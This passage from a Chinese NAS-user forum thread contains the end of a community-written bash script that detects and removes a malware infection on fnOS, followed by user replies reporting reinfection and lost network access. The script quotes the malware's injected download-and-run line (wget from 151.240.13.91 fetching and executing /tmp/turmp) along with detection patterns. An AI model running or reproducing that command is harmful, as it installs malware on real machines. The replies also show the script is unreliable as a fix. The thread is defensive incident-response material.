                   strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                    match=1
                    reason="content-hit:IP+domain"
                fi
            fi

            if [ $match -eq 1 ]; then
                echo "🚨 发现威胁文件: $f  (原因: $reason)"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                echo "   -> 已隔离至备份目录"
            fi
        done
    done
    echo "✅ 文件扫描完成"
}

remove_kernel_module() {
    echo "🧠 [7] 清理恶意内核模块..."
    if lsmod | grep -q snd_pcap; then
        echo "   - 发现 snd_pcap,尝试卸载..."
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        if lsmod | grep -q snd_pcap; then
             echo "❌ 卸载失败,可能需要重启系统进入恢复模式处理"
        else
             echo "✅ snd_pcap 已卸载"
        fi
    else
        echo "ℹ️ 未发现 snd_pcap 模块"
    fi
}

fix_persistence_common() {
    echo "🔧 [8] 修复通用持久化配置..."

    # 修复 ld.so.preload(仅删除 STRICT 命中的行)
    if [ -f /etc/ld.so.preload ]; then
        if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
            echo "   - 修复 /etc/ld.so.preload"
            chattr -i /etc/ld.so.preload 2>/dev/null
            cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
            [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        fi
    fi

    # 修复 rc.local(仅删除 STRICT 命中的行)
    if [ -f /etc/rc.local ]; then
         if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
            echo "   - 修复 /etc/rc.local"
            chattr -i /etc/rc.local 2>/dev/null
            cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
         fi
    fi

    # 修复 cron(备份后删除 STRICT 命中的行)
    if [ -f /etc/crontab ]; then
        if grep -Eq "$STRICT_REGEX" /etc/crontab; then
            echo "   - 修复 /etc/crontab"
            cp /etc/crontab "$BACKUP_DIR/crontab.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/crontab
        fi
    fi
    if ls /etc/cron.d/* >/dev/null 2>&1; then
        for f in /etc/cron.d/*; do
            [ ! -f "$f" ] && continue
            if grep -Eq "$STRICT_REGEX" "$f"; then
                echo "   - 修复 cron.d: $f"
                cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                sed -i -E "/$STRICT_REGEX/d" "$f"
            fi
        done
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "   - 修复 root crontab"
        crontab -l > "$BACKUP_DIR/root.crontab.bak"
        crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
    fi

    echo "✅ 持久化配置检查完成"
}

fix_fnos_system_startup() {
    FILE="/usr/trim/bin/system_startup.sh"

    echo "🔧 [9] 修复 FnOS 特定启动项..."

    [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE,跳过"; return; }

    # 仅用于判断是否疑似被篡改
    if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
        echo "❌ 在 system_startup.sh 中发现疑似恶意代码"

        chattr -i "$FILE" 2>/dev/null
        cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"

        # 精准删除已知恶意注入行:
        # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
        sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"

        # 兼容未来 turmp 变种(仍然保持行为链特征)
        sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"

        echo "✅ 恶意启动行已清除(原文件已备份)"
    else
        echo "✅ system_startup.sh 未发现异常特征"
    fi
}

# ---------------- 主流程 ----------------

need_root
log_init
banner

echo "请选择操作模式:"
echo "  1) 仅检测(推荐先跑,无风险)"
echo "  2) 自动修复(执行阻断、清理、修复)"
echo "  3) 仅封禁网络(防火墙 + Hosts)"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    infection_scan
    ;;
2)
    echo "----------------------------------------------------"
    echo "⚠️  注意:修复过程中会停止恶意进程并移动文件。"
    confirm "建议您已备份重要数据。是否开始执行?" || exit 0
    echo "----------------------------------------------------"

    block_network           # 先断网,防止下载新样本
    kill_process            # 杀进程,防止锁文件
    clean_systemd_services  # 清理 systemd 服务(含哈希服务名)
    remove_kernel_module    # 卸载内核模块
    fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
    fix_fnos_system_startup # 修复 FnOS 特有脚本
    scan_and_quarantine     # 最后扫描残留文件
    ;;
3)
    block_network
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "===================================================="
echo "✅ 操作已结束"
echo "📁 隔离文件目录: $BACKUP_DIR"
echo "📄 详细日志记录: $LOG_FILE"
echo "💡 安全建议:"
echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
echo "   3. 建议重启系统以确保所有内存加载项已清除"
echo "   4. 如有疑虑,可将日志与隔离文件交给安全团队复核"
echo "===================================================="

使用这个脚本之后,在进行系统文件修复、系统更新,会再次提示,rc.local又回去了  详情 回复
29 分钟前
楼主,脚本有问题,执行完了后,ping不通内网地址,也无法访问,但是飞牛上的虚拟机能起来能ping通,ssh也不通了  详情 回复
6 小时前

8

主题

147

回帖

0

牛值

fnOS系统内测组

fnOS1.0上线纪念勋章飞牛百度网盘玩家

Rain_CvvTH 发表于 2026-1-31 16:27
感谢楼主,补个操作为新手兄弟们服务:
1.通过ssh连接到飞牛,工具有很多,直接连接或者在飞牛应用商店里装 ...

商店已经把这个终端下了,你卸载看看商店还有吗,还能安装吗
不是吧,居然可以为了堵住用户的嘴,做的这么绝  详情 回复
1 小时前

0

主题

2

回帖

0

牛值

江湖小虾

啥群啊 楼主,我也想进去学习一下,我就进了一个微信群,要不是我自己出问题了 网上冲浪,我都不知道飞牛出了这么大问题

1

主题

4

回帖

0

牛值

江湖小虾

Asura 发表于 2026-1-31 16:35
#!/bin/bash

# ==========================================================

楼主,很奇怪的问题,执行脚本后,重启,改了ssh密码和后台密码,再次执行脚本还是提示:
❌ 已加载恶意内核模块: snd_pcap


1

主题

4

回帖

0

牛值

江湖小虾

另外,还有个问题,这个脚本执行后,fn connect 就无法连接了。不知道这个病毒在其它数据盘里有没有,有的话就太讨厌了。楼主能否出个脚本全盘扫描下?感谢

2

主题

73

回帖

0

牛值

初出茅庐

没检查出问题,应该就是没问题吧,但我飞牛已经多次出现无法访问的问题,重启系统才恢复

3

主题

10

回帖

0

牛值

江湖小虾

执行完成之后,重启一下,重启之后又运行了!!!!

要把这里的启动项删掉!:

文件路径: /usr/trim/bin/system_startup.sh

删掉底部的wget 之类的内容!

我没有这个文件怎么办?  详情 回复
16 分钟前
无法删除啊,总是提示只读的  详情 回复
3 小时前

4

主题

5

回帖

0

牛值

江湖小虾

顶起来看看

0

主题

4

回帖

0

牛值

江湖小虾

先关机再说。怕怕了

0

主题

1

回帖

0

牛值

江湖小虾

fnOS1.0上线纪念勋章

执行自动修复后,重启,再检测还是有怎么办?

0

主题

1

回帖

0

牛值

江湖小虾

鸡儿贼大 发表于 2026-1-31 19:08
执行完成之后,重启一下,重启之后又运行了!!!!
要把这里的启动项删掉!:
文件路径: /usr/trim/bin/s ...

无法删除啊,总是提示只读的
使用 chattr -i 命令先解除锁定,可以参考这个文档:https://blog.fyun.org/fnos-nas.html  详情 回复
半小时前

13

主题

24

回帖

0

牛值

初出茅庐

我是小白,顶顶顶,顶起来,我按照说明操作了,只是不知道有没有成功

如何自己知道有沒有中毒呢?  详情 回复
1 小时前

0

主题

7

回帖

0

牛值

江湖小虾

执行修复后,重启,等待一段时间后再运行,还是会有恶意进程bkd,bkd2这个提示,也会连接恶意IP。几个文件我都修复改动了,wget也删掉了。哎,还有没有什么办法?

目前只有关闭外网,当局域网nas用  详情 回复
2 小时前

2

主题

11

回帖

0

牛值

江湖小虾

飞牛百度网盘玩家fnOS1.0上线纪念勋章

Rain_CvvTH 发表于 2026-1-31 16:27
感谢楼主,补个操作为新手兄弟们服务:
1.通过ssh连接到飞牛,工具有很多,直接连接或者在飞牛应用商店里装 ...

谢谢你的帮助

0

主题

1

回帖

0

牛值

🛩️ARM内测用户组

Rain_CvvTH 发表于 2026-1-31 16:27
感谢楼主,补个操作为新手兄弟们服务:
1.通过ssh连接到飞牛,工具有很多,直接连接或者在飞牛应用商店里装 ...

感谢大佬和楼主的教程

2

主题

11

回帖

0

牛值

江湖小虾

飞牛百度网盘玩家fnOS1.0上线纪念勋章

皮的很 发表于 2026-1-31 21:39
执行修复后,重启,等待一段时间后再运行,还是会有恶意进程bkd,bkd2这个提示,也会连接恶意IP。几个文件我 ...

目前只有关闭外网,当局域网nas用
断外网简单高效,相当有用  详情 回复
1 小时前

16

主题

103

回帖

0

牛值

初出茅庐

fnOS1.0上线纪念勋章飞牛百度网盘玩家

符尧x 发表于 2026-1-31 21:09
我是小白,顶顶顶,顶起来,我按照说明操作了,只是不知道有没有成功

如何自己知道有沒有中毒呢?

5

主题

5

回帖

0

牛值

江湖小虾

Jimboo7339 发表于 2026-1-31 16:41
商店已经把这个终端下了,你卸载看看商店还有吗,还能安装吗

不是吧,居然可以为了堵住用户的嘴,做的这么绝
可以用1panel啊  详情 回复
半小时前

1

主题

15

回帖

0

牛值

江湖小虾

༺༼࿅࿆࿄ 发表于 2026-1-31 21:43
目前只有关闭外网,当局域网nas用

断外网简单高效,相当有用

3

主题

10

回帖

0

牛值

江湖小虾

Rogue_X5F8f 发表于 2026-1-31 20:49
无法删除啊,总是提示只读的

使用 chattr -i 命令先解除锁定,可以参考这个文档:https://blog.fyun.org/fnos-nas.html

1

主题

3

回帖

0

牛值

江湖小虾

yuyuko 发表于 2026-1-31 22:14
不是吧,居然可以为了堵住用户的嘴,做的这么绝

可以用1panel啊

0

主题

3

回帖

0

牛值

江湖小虾

Asura 发表于 2026-1-31 16:35
#!/bin/bash

# ==========================================================

使用这个脚本之后,在进行系统文件修复、系统更新,会再次提示,rc.local又回去了

2

主题

11

回帖

0

牛值

江湖小虾

飞牛百度网盘玩家fnOS1.0上线纪念勋章

鸡儿贼大 发表于 2026-1-31 19:08
执行完成之后,重启一下,重启之后又运行了!!!!
要把这里的启动项删掉!:
文件路径: /usr/trim/bin/s ...

我没有这个文件怎么办?

1

主题

5

回帖

0

牛值

系统先锋体验团🛩️

自救脚本,👍

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则